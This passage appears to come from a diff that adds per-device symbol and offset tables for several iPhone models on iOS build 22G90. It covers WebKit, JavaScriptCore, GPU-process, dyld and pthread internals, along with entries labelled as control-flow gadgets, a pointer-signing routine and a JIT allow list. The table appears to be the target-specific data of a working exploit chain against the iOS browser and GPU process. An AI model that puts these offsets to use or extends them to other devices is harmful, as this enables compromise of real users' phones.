0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576e7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271118000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887538n, + WebCore__initPKContact_value : 0x1ed887540n, + WebCore__PAL_getPKContactClass : 0x1ed87e9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b940n, + }, + + "iPhone12,8_22G90": { + __pthread_head : 0x2689e8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9ba8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9690n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f95f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9640n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8a38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95e90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7078c8n, + free_slabs : 0x1ed7c1050n, + gadget_control_1_ios184 : 0x23ee302ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f007150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da270n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d9f20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d9f28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d9f30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d9e70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d9f38n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cbd28b4n, + libGPUCompilerImplLazy_cstring : 0x23bd1c870n, + libsystem_c__atexit_mutex : 0x1ed6e64d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5740n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2575ffe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271050000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a4e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8872b8n, + WebCore__initPKContact_value : 0x1ed8872c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e778n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885a90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885a88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885a70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b6c0n, + }, + "iPhone13,1_22G90": { + __pthread_head : 0x268d14020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa1e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9078n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707f08n, + free_slabs : 0x1ed7c1690n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da578n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6b18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5d80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2578d7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27138c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ab28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8878f8n, + WebCore__initPKContact_value : 0x1ed887900n, + WebCore__PAL_getPKContactClass : 0x1ed87edb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8860d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8860c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8860b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bd00n, + }, + "iPhone13,2_3_22G90": { + __pthread_head : 0x26972c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f91b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708048n, + free_slabs : 0x1ed7c17d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da9f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da6a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da6a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da5f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da6b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5ec0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a32e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271dbc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ac68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887a38n, + WebCore__initPKContact_value : 0x1ed887a40n, + WebCore__PAL_getPKContactClass : 0x1ed87eef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8861f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87be40n, + }, +"iPhone13,3_22G90": { + __pthread_head : 0x26972c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f91b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708048n, + free_slabs : 0x1ed7c17d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da9f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da6a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da6a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da5f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da6b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5ec0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a32e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271dbc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ac68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887a38n, + WebCore__initPKContact_value : 0x1ed887a40n, + WebCore__PAL_getPKContactClass : 0x1ed87eef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8861f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87be40n, + }, + + "iPhone13,4_22G90": { + __pthread_head : 0x26972c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f91b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708048n, + free_slabs : 0x1ed7c17d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da9f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da6a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da6a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da5f0n, + 